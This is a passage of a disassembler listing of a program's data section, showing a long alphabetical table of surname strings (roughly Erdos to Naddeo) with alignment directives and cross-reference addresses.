XREF: .data:004448D8o align 4 aErdos db 'Erdos',0 ; DATA XREF: .data:004448DCo align 4 aErez db 'Erez',0 ; DATA XREF: .data:004448E0o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: .data:004448E4o align 10h aEstes db 'Estes',0 ; DATA XREF: .data:004448E8o align 4 aEtter db 'Etter',0 ; DATA XREF: .data:004448ECo align 10h aEuripides db 'Euripides',0 ; DATA XREF: .data:004448F0o align 4 aEverett db 'Everett',0 ; DATA XREF: .data:004448F4o aFabbris db 'Fabbris',0 ; DATA XREF: .data:004448F8o aFagan db 'Fagan',0 ; DATA XREF: .data:004448FCo align 4 aFaioes db 'Faioes',0 ; DATA XREF: .data:00444900o align 4 aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .data:00444904o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: .data:00444908o aFaris db 'Faris',0 ; DATA XREF: .data:0044490Co align 4 aFarone db 'Farone',0 ; DATA XREF: .data:00444910o align 4 aFarren db 'Farren',0 ; DATA XREF: .data:00444914o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: .data:00444918o align 4 aFates db 'Fates',0 ; DATA XREF: .data:0044491Co align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .data:00444920o align 4 aFejzo db 'Fejzo',0 ; DATA XREF: .data:00444924o align 10h aFeldman db 'Feldman',0 ; DATA XREF: .data:00444928o aFernald db 'Fernald',0 ; DATA XREF: .data:0044492Co aFernandes db 'Fernandes',0 ; DATA XREF: .data:00444930o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: .data:00444934o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: .data:00444938o align 4 aFeuer db 'Feuer',0 ; DATA XREF: .data:0044493Co align 4 aFido db 'Fido',0 ; DATA XREF: .data:00444940o align 4 aField db 'Field',0 ; DATA XREF: .data:00444944o align 4 aFink db 'Fink',0 ; DATA XREF: .data:00444948o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: .data:0044494Co aFinnegan db 'Finnegan',0 ; DATA XREF: .data:00444950o align 4 aFiorina db 'Fiorina',0 ; DATA XREF: .data:00444954o aFisk db 'Fisk',0 ; DATA XREF: .data:00444958o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .data:0044495Co aFlier db 'Flier',0 ; DATA XREF: .data:00444960o align 10h aFlores db 'Flores',0 ; DATA XREF: .data:00444964o align 4 aFolks db 'Folks',0 ; DATA XREF: .data:00444968o align 10h aForester db 'Forester',0 ; DATA XREF: .data:0044496Co align 4 aFortes db 'Fortes',0 ; DATA XREF: .data:00444970o align 4 aFortier db 'Fortier',0 ; DATA XREF: .data:00444974o aFossey db 'Fossey',0 ; DATA XREF: .data:00444978o align 4 aFossi db 'Fossi',0 ; DATA XREF: .data:0044497Co align 4 aFrancisco db 'Francisco',0 ; DATA XREF: .data:00444980o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .data:00444984o align 4 aFranz db 'Franz',0 ; DATA XREF: .data:00444988o align 10h aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .data:0044498Co align 10h aFreid db 'Freid',0 ; DATA XREF: .data:00444990o align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: .data:00444994o align 4 aFried db 'Fried',0 ; DATA XREF: .data:00444998o align 4 aFriedland db 'Friedland',0 ; DATA XREF: .data:0044499Co align 4 aFrisken db 'Frisken',0 ; DATA XREF: .data:004449A0o aFrowiss db 'Frowiss',0 ; DATA XREF: .data:004449A4o aFryberger db 'Fryberger',0 ; DATA XREF: .data:004449A8o align 4 aFrye db 'Frye',0 ; DATA XREF: .data:004449ACo align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .data:004449B0o align 4 aFuller db 'Fuller',0 ; DATA XREF: .data:004449B4o align 10h aFurth db 'Furth',0 ; DATA XREF: .data:004449B8o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: .data:004449BCo align 10h aGabrielli db 'Gabrielli',0 ; DATA XREF: .data:004449C0o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .data:004449C4o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: .data:004449C8o align 4 aGalwey db 'Galwey',0 ; DATA XREF: .data:004449CCo align 4 aGambini db 'Gambini',0 ; DATA XREF: .data:004449D0o aGarfield db 'Garfield',0 ; DATA XREF: .data:004449D4o align 10h aGarman db 'Garman',0 ; DATA XREF: .data:004449D8o align 4 aGaronna db 'Garonna',0 ; DATA XREF: .data:004449DCo aGeller db 'Geller',0 ; DATA XREF: .data:004449E0o align 4 aGemberling db 'Gemberling',0 ; DATA XREF: .data:004449E4o align 4 aGeorgi db 'Georgi',0 ; DATA XREF: .data:004449E8o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: .data:004449ECo aGhorai db 'Ghorai',0 ; DATA XREF: .data:004449F0o align 4 aGibbens db 'Gibbens',0 ; DATA XREF: .data:004449F4o aGibson db 'Gibson',0 ; DATA XREF: .data:004449F8o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: .data:004449FCo aGili db 'Gili',0 ; DATA XREF: .data:00444A00o align 4 aGill db 'Gill',0 ; DATA XREF: .data:00444A04o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: .data:00444A08o align 10h aGist db 'Gist',0 ; DATA XREF: .data:00444A0Co align 4 aGleason db 'Gleason',0 ; DATA XREF: .data:00444A10o aGlegg db 'Glegg',0 ; DATA XREF: .data:00444A14o align 4 aGlendon db 'Glendon',0 ; DATA XREF: .data:00444A18o aGoldfarb db 'Goldfarb',0 ; DATA XREF: .data:00444A1Co align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: .data:00444A20o align 4 aGood db 'Good',0 ; DATA XREF: .data:00444A24o align 10h aGoodearl db 'Goodearl',0 ; DATA XREF: .data:00444A28o align 4 aGoody db 'Goody',0 ; DATA XREF: .data:00444A2Co align 4 aGozzi db 'Gozzi',0 ; DATA XREF: .data:00444A30o align 4 aGravell db 'Gravell',0 ; DATA XREF: .data:00444A34o aGreenberg db 'Greenberg',0 ; DATA XREF: .data:00444A38o align 10h aGreenfeld db 'Greenfeld',0 ; DATA XREF: .data:00444A3Co align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: .data:00444A40o align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: .data:00444A44o align 4 aGrummell db 'Grummell',0 ; DATA XREF: .data:00444A48o align 10h aGruner db 'Gruner',0 ; DATA XREF: .data:00444A4Co align 4 aGruppe db 'Gruppe',0 ; DATA XREF: .data:00444A50o align 10h aGuenthart db 'Guenthart',0 ; DATA XREF: .data:00444A54o align 4 aGunn db 'Gunn',0 ; DATA XREF: .data:00444A58o align 4 aGuo db 'Guo',0 ; DATA XREF: .data:00444A5Co aHa db 'Ha',0 ; DATA XREF: .data:00444A60o align 4 aHaar db 'Haar',0 ; DATA XREF: .data:00444A64o align 4 aHackman db 'Hackman',0 ; DATA XREF: .data:00444A68o aHackshaw db 'Hackshaw',0 ; DATA XREF: .data:00444A6Co align 4 aHaley db 'Haley',0 ; DATA XREF: .data:00444A70o align 10h aHalkias db 'Halkias',0 ; DATA XREF: .data:00444A74o aHallowell db 'Hallowell',0 ; DATA XREF: .data:00444A78o align 4 aHalpert db 'Halpert',0 ; DATA XREF: .data:00444A7Co aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .data:00444A80o align 4 aHamer db 'Hamer',0 ; DATA XREF: .data:00444A84o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: .data:00444A88o align 10h aHand db 'Hand',0 ; DATA XREF: .data:00444A8Co align 4 aHanssen db 'Hanssen',0 ; DATA XREF: .data:00444A90o aHarding db 'Harding',0 ; DATA XREF: .data:00444A94o aHargraves db 'Hargraves',0 ; DATA XREF: .data:00444A98o align 4 aHarlow db 'Harlow',0 ; DATA XREF: .data:00444A9Co align 4 aHarrigan db 'Harrigan',0 ; DATA XREF: .data:00444AA0o align 4 aHartman db 'Hartman',0 ; DATA XREF: .data:00444AA4o aHartmann db 'Hartmann',0 ; DATA XREF: .data:00444AA8o align 4 aHartnett db 'Hartnett',0 ; DATA XREF: .data:00444AACo align 4 aHarwell db 'Harwell',0 ; DATA XREF: .data:00444AB0o aHaviaras db 'Haviaras',0 ; DATA XREF: .data:00444AB4o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: .data:00444AB8o align 4 aHayes db 'Hayes',0 ; DATA XREF: .data:00444ABCo align 4 aHaynes db 'Haynes',0 ; DATA XREF: .data:00444AC0o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: .data:00444AC4o align 10h aHeermans db 'Heermans',0 ; DATA XREF: .data:00444AC8o align 4 aHeft db 'Heft',0 ; DATA XREF: .data:00444ACCo align 4 aHeiland db 'Heiland',0 ; DATA XREF: .data:00444AD0o aHellman db 'Hellman',0 ; DATA XREF: .data:00444AD4o aHellmiss db 'Hellmiss',0 ; DATA XREF: .data:00444AD8o align 10h aHelprin db 'Helprin',0 ; DATA XREF: .data:00444ADCo aHemphill db 'Hemphill',0 ; DATA XREF: .data:00444AE0o align 4 aHenery db 'Henery',0 ; DATA XREF: .data:00444AE4o align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: .data:00444AE8o align 4 aHernandez db 'Hernandez',0 ; DATA XREF: .data:00444AECo align 4 aHerrera db 'Herrera',0 ; DATA XREF: .data:00444AF0o aHester db 'Hester',0 ; DATA XREF: .data:00444AF4o align 4 aHeubert db 'Heubert',0 ; DATA XREF: .data:00444AF8o aHeyeck db 'Heyeck',0 ; DATA XREF: .data:00444AFCo align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .data:00444B00o align 10h aHind db 'Hind',0 ; DATA XREF: .data:00444B04o align 4 aHirst db 'Hirst',0 ; DATA XREF: .data:00444B08o align 10h aHitchcock db 'Hitchcock',0 ; DATA XREF: .data:00444B0Co align 4 aHoang db 'Hoang',0 ; DATA XREF: .data:00444B10o align 4 aHock db 'Hock',0 ; DATA XREF: .data:00444B14o align 4 aHoffer db 'Hoffer',0 ; DATA XREF: .data:00444B18o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: .data:00444B1Co aHokanson db 'Hokanson',0 ; DATA XREF: .data:00444B20o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: .data:00444B24o align 10h aHolmes db 'Holmes',0 ; DATA XREF: .data:00444B28o align 4 aHoloien db 'Holoien',0 ; DATA XREF: .data:00444B2Co aHolter db 'Holter',0 ; DATA XREF: .data:00444B30o align 4 aHolway db 'Holway',0 ; DATA XREF: .data:00444B34o align 10h aHolzman db 'Holzman',0 ; DATA XREF: .data:00444B38o aHooker db 'Hooker',0 ; DATA XREF: .data:00444B3Co align 10h aHopkins db 'Hopkins',0 ; DATA XREF: .data:00444B40o aHorsley db 'Horsley',0 ; DATA XREF: .data:00444B44o aHoshida db 'Hoshida',0 ; DATA XREF: .data:00444B48o aHostage db 'Hostage',0 ; DATA XREF: .data:00444B4Co aHottle db 'Hottle',0 ; DATA XREF: .data:00444B50o align 4 aHoward db 'Howard',0 ; DATA XREF: .data:00444B54o align 10h aHoy db 'Hoy',0 ; DATA XREF: .data:00444B58o aHuey db 'Huey',0 ; DATA XREF: .data:00444B5Co align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: .data:00444B60o align 4 aHungerford db 'Hungerford',0 ; DATA XREF: .data:00444B64o align 4 aHuntington db 'Huntington',0 ; DATA XREF: .data:00444B68o align 10h aHupp db 'Hupp',0 ; DATA XREF: .data:00444B6Co align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: .data:00444B70o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: .data:00444B74o align 10h aHyde db 'Hyde',0 ; DATA XREF: .data:00444B78o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: .data:00444B7Co align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: .data:00444B80o align 10h aIgarashi db 'Igarashi',0 ; DATA XREF: .data:00444B84o align 4 aInamura db 'Inamura',0 ; DATA XREF: .data:00444B88o aInniss db 'Inniss',0 ; DATA XREF: .data:00444B8Co align 4 aIsaac db 'Isaac',0 ; DATA XREF: .data:00444B90o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: .data:00444B94o align 10h aIsbill db 'Isbill',0 ; DATA XREF: .data:00444B98o align 4 aIsserman db 'Isserman',0 ; DATA XREF: .data:00444B9Co align 4 aIyer db 'Iyer',0 ; DATA XREF: .data:00444BA0o align 4 aJacenko db 'Jacenko',0 ; DATA XREF: .data:00444BA4o aJackson db 'Jackson',0 ; DATA XREF: .data:00444BA8o aJagers db 'Jagers',0 ; DATA XREF: .data:00444BACo align 4 aJagger db 'Jagger',0 ; DATA XREF: .data:00444BB0o align 4 aJagoe db 'Jagoe',0 ; DATA XREF: .data:00444BB4o align 4 aJain db 'Jain',0 ; DATA XREF: .data:00444BB8o align 4 aJamil db 'Jamil',0 ; DATA XREF: .data:00444BBCo align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: .data:00444BC0o align 10h aJarnagin db 'Jarnagin',0 ; DATA XREF: .data:00444BC4o align 4 aJarrell db 'Jarrell',0 ; DATA XREF: .data:00444BC8o aJay db 'Jay',0 ; DATA XREF: .data:00444BCCo aJeffers db 'Jeffers',0 ; DATA XREF: .data:00444BD0o aJellis db 'Jellis',0 ; DATA XREF: .data:00444BD4o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: .data:00444BD8o aJespersen db 'Jespersen',0 ; DATA XREF: .data:00444BDCo align 4 aJewett db 'Jewett',0 ; DATA XREF: .data:00444BE0o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: .data:00444BE4o aJohannsen db 'Johannsen',0 ; DATA XREF: .data:00444BE8o align 4 aJohns db 'Johns',0 ; DATA XREF: .data:00444BECo align 4 aJolly db 'Jolly',0 ; DATA XREF: .data:00444BF0o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: .data:00444BF4o align 4 aJucks db 'Jucks',0 ; DATA XREF: .data:00444BF8o align 10h aJuliano db 'Juliano',0 ; DATA XREF: .data:00444BFCo aJulious db 'Julious',0 ; DATA XREF: .data:00444C00o aKabbash db 'Kabbash',0 ; DATA XREF: .data:00444C04o aKaboolian db 'Kaboolian',0 ; DATA XREF: .data:00444C08o align 4 aKafadar db 'Kafadar',0 ; DATA XREF: .data:00444C0Co aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .data:00444C10o aKaligian db 'Kaligian',0 ; DATA XREF: .data:00444C14o align 4 aKalil db 'Kalil',0 ; DATA XREF: .data:00444C18o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: .data:00444C1Co align 4 aKalman db 'Kalman',0 ; DATA XREF: .data:00444C20o align 10h aKamel db 'Kamel',0 ; DATA XREF: .data:00444C24o align 4 aKangis db 'Kangis',0 ; DATA XREF: .data:00444C28o align 10h aKarpouzes db 'Karpouzes',0 ; DATA XREF: .data:00444C2Co align 4 aKassower db 'Kassower',0 ; DATA XREF: .data:00444C30o align 4 aKasten db 'Kasten',0 ; DATA XREF: .data:00444C34o align 10h aKawachi db 'Kawachi',0 ; DATA XREF: .data:00444C38o aKee db 'Kee',0 ; DATA XREF: .data:00444C3Co aKeenan db 'Keenan',0 ; DATA XREF: .data:00444C40o align 4 aKeepper db 'Keepper',0 ; DATA XREF: .data:00444C44o aKeith db 'Keith',0 ; DATA XREF: .data:00444C48o align 4 aKelker db 'Kelker',0 ; DATA XREF: .data:off_444C4Co align 4 aKelsey db 'Kelsey',0 ; DATA XREF: .data:00444C50o align 4 aKempton db 'Kempton',0 ; DATA XREF: .data:00444C54o aKemsley db 'Kemsley',0 ; DATA XREF: .data:00444C58o aKendall db 'Kendall',0 ; DATA XREF: .data:00444C5Co aKerry db 'Kerry',0 ; DATA XREF: .data:00444C60o align 4 aKeul db 'Keul',0 ; DATA XREF: .data:00444C64o align 4 aKhong db 'Khong',0 ; DATA XREF: .data:00444C68o align 4 aKimmel db 'Kimmel',0 ; DATA XREF: .data:00444C6Co align 4 aKimmett db 'Kimmett',0 ; DATA XREF: .data:00444C70o aKimura db 'Kimura',0 ; DATA XREF: .data:00444C74o align 4 aKindall db 'Kindall',0 ; DATA XREF: .data:00444C78o aKinsley db 'Kinsley',0 ; DATA XREF: .data:00444C7Co aKippenberger db 'Kippenberger',0 ; DATA XREF: .data:00444C80o align 4 aKirscht db 'Kirscht',0 ; DATA XREF: .data:00444C84o aKittridge db 'Kittridge',0 ; DATA XREF: .data:00444C88o align 10h aKleckner db 'Kleckner',0 ; DATA XREF: .data:00444C8Co align 4 aKleiman db 'Kleiman',0 ; DATA XREF: .data:00444C90o aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .data:00444C94o aKlemperer db 'Klemperer',0 ; DATA XREF: .data:00444C98o align 4 aKling db 'Kling',0 ; DATA XREF: .data:00444C9Co align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .data:00444CA0o aKlint db 'Klint',0 ; DATA XREF: .data:00444CA4o align 4 aKnuff db 'Knuff',0 ; DATA XREF: .data:00444CA8o align 10h aKobrick db 'Kobrick',0 ; DATA XREF: .data:00444CACo aKoch db 'Koch',0 ; DATA XREF: .data:00444CB0o align 10h aKohn db 'Kohn',0 ; DATA XREF: .data:00444CB4o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: .data:00444CB8o align 4 aKommer db 'Kommer',0 ; DATA XREF: .data:00444CBCo align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: .data:00444CC0o align 4 aKonrad db 'Konrad',0 ; DATA XREF: .data:00444CC4o align 10h aKool db 'Kool',0 ; DATA XREF: .data:00444CC8o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: .data:00444CCCo align 4 aKotter db 'Kotter',0 ; DATA XREF: .data:00444CD0o align 4 aKovaks db 'Kovaks',0 ; DATA XREF: .data:00444CD4o align 4 aKraemer db 'Kraemer',0 ; DATA XREF: .data:00444CD8o aKrailo db 'Krailo',0 ; DATA XREF: .data:00444CDCo align 4 aKrasney db 'Krasney',0 ; DATA XREF: .data:00444CE0o aKraus db 'Kraus',0 ; DATA XREF: .data:00444CE4o align 4 aKroemer db 'Kroemer',0 ; DATA XREF: .data:00444CE8o aKrysiak db 'Krysiak',0 ; DATA XREF: .data:00444CECo aKuenzli db 'Kuenzli',0 ; DATA XREF: .data:00444CF0o aKumar db 'Kumar',0 ; DATA XREF: .data:00444CF4o align 4 aKusman db 'Kusman',0 ; DATA XREF: .data:00444CF8o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: .data:00444CFCo align 4 aLa db 'La',0 ; DATA XREF: .data:00444D00o align 4 aLabunka db 'Labunka',0 ; DATA XREF: .data:00444D04o aLafler db 'Lafler',0 ; DATA XREF: .data:00444D08o align 4 aLaing db 'Laing',0 ; DATA XREF: .data:00444D0Co align 4 aLallemant db 'Lallemant',0 ; DATA XREF: .data:00444D10o align 10h aLandes db 'Landes',0 ; DATA XREF: .data:00444D14o align 4 aLankes db 'Lankes',0 ; DATA XREF: .data:00444D18o align 10h aLantieri db 'Lantieri',0 ; DATA XREF: .data:00444D1Co align 4 aLanzit db 'Lanzit',0 ; DATA XREF: .data:00444D20o align 4 aLaserna db 'Laserna',0 ; DATA XREF: .data:00444D24o aLashley db 'Lashley',0 ; DATA XREF: .data:00444D28o aLawless db 'Lawless',0 ; DATA XREF: .data:00444D2Co aLecar db 'Lecar',0 ; DATA XREF: .data:00444D30o align 4 aLecce db 'Lecce',0 ; DATA XREF: .data:00444D34o align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: .data:00444D38o align 4 aLeite db 'Leite',0 ; DATA XREF: .data:00444D3Co align 10h aLenard db 'Lenard',0 ; DATA XREF: .data:00444D40o align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .data:00444D44o align 4 aLesser db 'Lesser',0 ; DATA XREF: .data:00444D48o align 4 aLessi db 'Lessi',0 ; DATA XREF: .data:00444D4Co align 4 aLiakos db 'Liakos',0 ; DATA XREF: .data:00444D50o align 4 aLidano db 'Lidano',0 ; DATA XREF: .data:00444D54o align 4 aLiem db 'Liem',0 ; DATA XREF: .data:00444D58o align 4 aLight db 'Light',0 ; DATA XREF: .data:00444D5Co align 4 aLightfoot db 'Lightfoot',0 ; DATA XREF: .data:00444D60o align 10h aLim db 'Lim',0 ; DATA XREF: .data:00444D64o aLinares db 'Linares',0 ; DATA XREF: .data:00444D68o aLinda db 'Linda',0 ; DATA XREF: .data:00444D6Co align 4 aLinder db 'Linder',0 ; DATA XREF: .data:00444D70o align 4 aLine_0 db 'Line',0 ; DATA XREF: .data:00444D74o align 4 aLinehan db 'Linehan',0 ; DATA XREF: .data:00444D78o aLinzee db 'Linzee',0 ; DATA XREF: .data:00444D7Co align 4 aLippmann db 'Lippmann',0 ; DATA XREF: .data:00444D80o align 10h aLipponen db 'Lipponen',0 ; DATA XREF: .data:00444D84o align 4 aLittle db 'Little',0 ; DATA XREF: .data:00444D88o align 4 aLitvak db 'Litvak',0 ; DATA XREF: .data:00444D8Co align 4 aLivernash db 'Livernash',0 ; DATA XREF: .data:00444D90o align 4 aLivi db 'Livi',0 ; DATA XREF: .data:00444D94o align 10h aLivolsi db 'Livolsi',0 ; DATA XREF: .data:00444D98o aLizardo db 'Lizardo',0 ; DATA XREF: .data:00444D9Co aLocatelli db 'Locatelli',0 ; DATA XREF: .data:00444DA0o align 4 aLongworth db 'Longworth',0 ; DATA XREF: .data:00444DA4o align 4 aLoss db 'Loss',0 ; DATA XREF: .data:00444DA8o align 10h aLoveman db 'Loveman',0 ; DATA XREF: .data:00444DACo aLowenstein db 'Lowenstein',0 ; DATA XREF: .data:00444DB0o align 4 aLoza db 'Loza',0 ; DATA XREF: .data:00444DB4o align 4 aLubin db 'Lubin',0 ; DATA XREF: .data:00444DB8o align 4 aLucas db 'Lucas',0 ; DATA XREF: .data:00444DBCo align 4 aLuciano db 'Luciano',0 ; DATA XREF: .data:00444DC0o aLuczkow db 'Luczkow',0 ; DATA XREF: .data:00444DC4o aLuecke db 'Luecke',0 ; DATA XREF: .data:00444DC8o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: .data:00444DCCo aLuoma db 'Luoma',0 ; DATA XREF: .data:00444DD0o align 4 aLussier db 'Lussier',0 ; DATA XREF: .data:00444DD4o aLutcavage db 'Lutcavage',0 ; DATA XREF: .data:00444DD8o align 4 aLuzader db 'Luzader',0 ; DATA XREF: .data:00444DDCo aMa db 'Ma',0 ; DATA XREF: .data:00444DE0o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: .data:00444DE4o align 10h aMacdonald db 'Macdonald',0 ; DATA XREF: .data:00444DE8o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: .data:00444DECo align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: .data:00444DF0o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: .data:00444DF4o align 10h aMacmillan db 'MacMillan',0 ; DATA XREF: .data:00444DF8o align 4 aMacy db 'Macy',0 ; DATA XREF: .data:00444DFCo align 4 aMadigan db 'Madigan',0 ; DATA XREF: .data:00444E00o aMaggio db 'Maggio',0 ; DATA XREF: .data:00444E04o align 4 aMahony db 'Mahony',0 ; DATA XREF: .data:00444E08o align 4 aMaier db 'Maier',0 ; DATA XREF: .data:00444E0Co align 4 aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .data:00444E10o align 4 aMaisano db 'Maisano',0 ; DATA XREF: .data:00444E14o aMalatesta db 'Malatesta',0 ; DATA XREF: .data:00444E18o align 4 aMaller db 'Maller',0 ; DATA XREF: .data:00444E1Co align 10h aMalova db 'Malova',0 ; DATA XREF: .data:00444E20o align 4 aManalis db 'Manalis',0 ; DATA XREF: .data:00444E24o aMandel db 'Mandel',0 ; DATA XREF: .data:00444E28o align 4 aManganiello db 'Manganiello',0 ; DATA XREF: .data:00444E2Co aMantovan db 'Mantovan',0 ; DATA XREF: .data:00444E30o align 10h aMarch_0 db 'March',0 ; DATA XREF: .data:00444E34o align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: .data:00444E38o align 4 aMarcus db 'Marcus',0 ; DATA XREF: .data:00444E3Co align 4 aMargalit db 'Margalit',0 ; DATA XREF: .data:00444E40o align 4 aMargetts db 'Margetts',0 ; DATA XREF: .data:00444E44o align 4 aMarques db 'Marques',0 ; DATA XREF: .data:00444E48o aMartinez db 'Martinez',0 ; DATA XREF: .data:00444E4Co align 4 aMartochio db 'Martochio',0 ; DATA XREF: .data:00444E50o align 4 aMarton db 'Marton',0 ; DATA XREF: .data:00444E54o align 4 aMarubini db 'Marubini',0 ; DATA XREF: .data:00444E58o align 4 aMass db 'Mass',0 ; DATA XREF: .data:00444E5Co align 10h aMatalka db 'Matalka',0 ; DATA XREF: .data:00444E60o aMatarazzo db 'Matarazzo',0 ; DATA XREF: .data:00444E64o align 4 aMatsukata db 'Matsukata',0 ; DATA XREF: .data:00444E68o align 10h aMattson db 'Mattson',0 ; DATA XREF: .data:00444E6Co aMauzy db 'Mauzy',0 ; DATA XREF: .data:00444E70o align 10h aMay_0 db 'May',0 ; DATA XREF: .data:00444E74o aMazzali db 'Mazzali',0 ; DATA XREF: .data:00444E78o aMazziotta db 'Mazziotta',0 ; DATA XREF: .data:00444E7Co align 4 aMcbride db 'Mcbride',0 ; DATA XREF: .data:00444E80o aMccaffery db 'Mccaffery',0 ; DATA XREF: .data:00444E84o align 4 aMccall db 'Mccall',0 ; DATA XREF: .data:00444E88o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: .data:00444E8Co align 10h aMcdowell db 'Mcdowell',0 ; DATA XREF: .data:00444E90o align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: .data:00444E94o aMcfadden db 'McFadden',0 ; DATA XREF: .data:00444E98o align 10h aMcghee db 'Mcghee',0 ; DATA XREF: .data:00444E9Co align 4 aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .data:00444EA0o align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: .data:00444EA4o aMcintosh db 'Mcintosh',0 ; DATA XREF: .data:00444EA8o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: .data:00444EACo aMclane db 'Mclane',0 ; DATA XREF: .data:00444EB0o align 4 aMclaren db 'Mclaren',0 ; DATA XREF: .data:00444EB4o aMcnealy db 'Mcnealy',0 ; DATA XREF: .data:00444EB8o aMcnulty db 'Mcnulty',0 ; DATA XREF: .data:00444EBCo aMeccariello db 'Meccariello',0 ; DATA XREF: .data:00444EC0o aMemisoglu db 'Memisoglu',0 ; DATA XREF: .data:00444EC4o align 4 aMenzies db 'Menzies',0 ; DATA XREF: .data:00444EC8o aMerikoski db 'Merikoski',0 ; DATA XREF: .data:00444ECCo align 4 aMerlani db 'Merlani',0 ; DATA XREF: .data:00444ED0o aMerminod db 'Merminod',0 ; DATA XREF: .data:00444ED4o align 10h aMerseth db 'Merseth',0 ; DATA XREF: .data:00444ED8o aMerz db 'Merz',0 ; DATA XREF: .data:00444EDCo align 10h aMetelka db 'Metelka',0 ; DATA XREF: .data:00444EE0o aMetropolis db 'Metropolis',0 ; DATA XREF: .data:00444EE4o align 4 aMeurer db 'Meurer',0 ; DATA XREF: .data:00444EE8o align 4 aMichelman db 'Michelman',0 ; DATA XREF: .data:00444EECo align 4 aMiddle db 'Middle',0 ; DATA XREF: .data:00444EF0o align 10h aMieher db 'Mieher',0 ; DATA XREF: .data:00444EF4o align 4 aMills db 'Mills',0 ; DATA XREF: .data:00444EF8o align 10h aMinh db 'Minh',0 ; DATA XREF: .data:00444EFCo align 4 aMini db 'Mini',0 ; DATA XREF: .data:00444F00o align 10h aMinichiello db 'Minichiello',0 ; DATA XREF: .data:00444F04o aGonzalez db 'Gonzalez',0 ; DATA XREF: .data:00444F08o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .data:00444F0Co aMittal db 'Mittal',0 ; DATA XREF: .data:00444F10o align 4 aMocroft db 'Mocroft',0 ; DATA XREF: .data:00444F14o aModestino db 'Modestino',0 ; DATA XREF: .data:00444F18o align 10h aMoeller db 'Moeller',0 ; DATA XREF: .data:00444F1Co aMohr db 'Mohr',0 ; DATA XREF: .data:00444F20o align 10h aMoiamedi db 'Moiamedi',0 ; DATA XREF: .data:00444F24o align 4 aMonque db 'Monque',0 ; DATA XREF: .data:00444F28o align 4 aMontilio db 'Montilio',0 ; DATA XREF: .data:00444F2Co align 10h aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .data:00444F30o align 4 aMorani db 'Morani',0 ; DATA XREF: .data:00444F34o align 4 aMoreton db 'Moreton',0 ; DATA XREF: .data:00444F38o aMorrison db 'Morrison',0 ; DATA XREF: .data:00444F3Co align 4 aMorrow db 'Morrow',0 ; DATA XREF: .data:00444F40o align 10h aMortimer db 'Mortimer',0 ; DATA XREF: .data:00444F44o align 4 aMosher db 'Mosher',0 ; DATA XREF: .data:00444F48o align 4 aMosler db 'Mosler',0 ; DATA XREF: .data:00444F4Co align 4 aMostafavi db 'Mostafavi',0 ; DATA XREF: .data:00444F50o align 4 aMotooka db 'Motooka',0 ; DATA XREF: .data:00444F54o aMudarri db 'Mudarri',0 ; DATA XREF: .data:00444F58o aMuello db 'Muello',0 ; DATA XREF: .data:00444F5Co align 10h aMugnai db 'Mugnai',0 ; DATA XREF: .data:00444F60o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: .data:00444F64o aMulroy db 'Mulroy',0 ; DATA XREF: .data:00444F68o align 4 aMumford db 'Mumford',0 ; DATA XREF: .data:00444F6Co aMussachio db 'Mussachio',0 ; DATA XREF: .data:00444F70o align 4 aNaddeo db 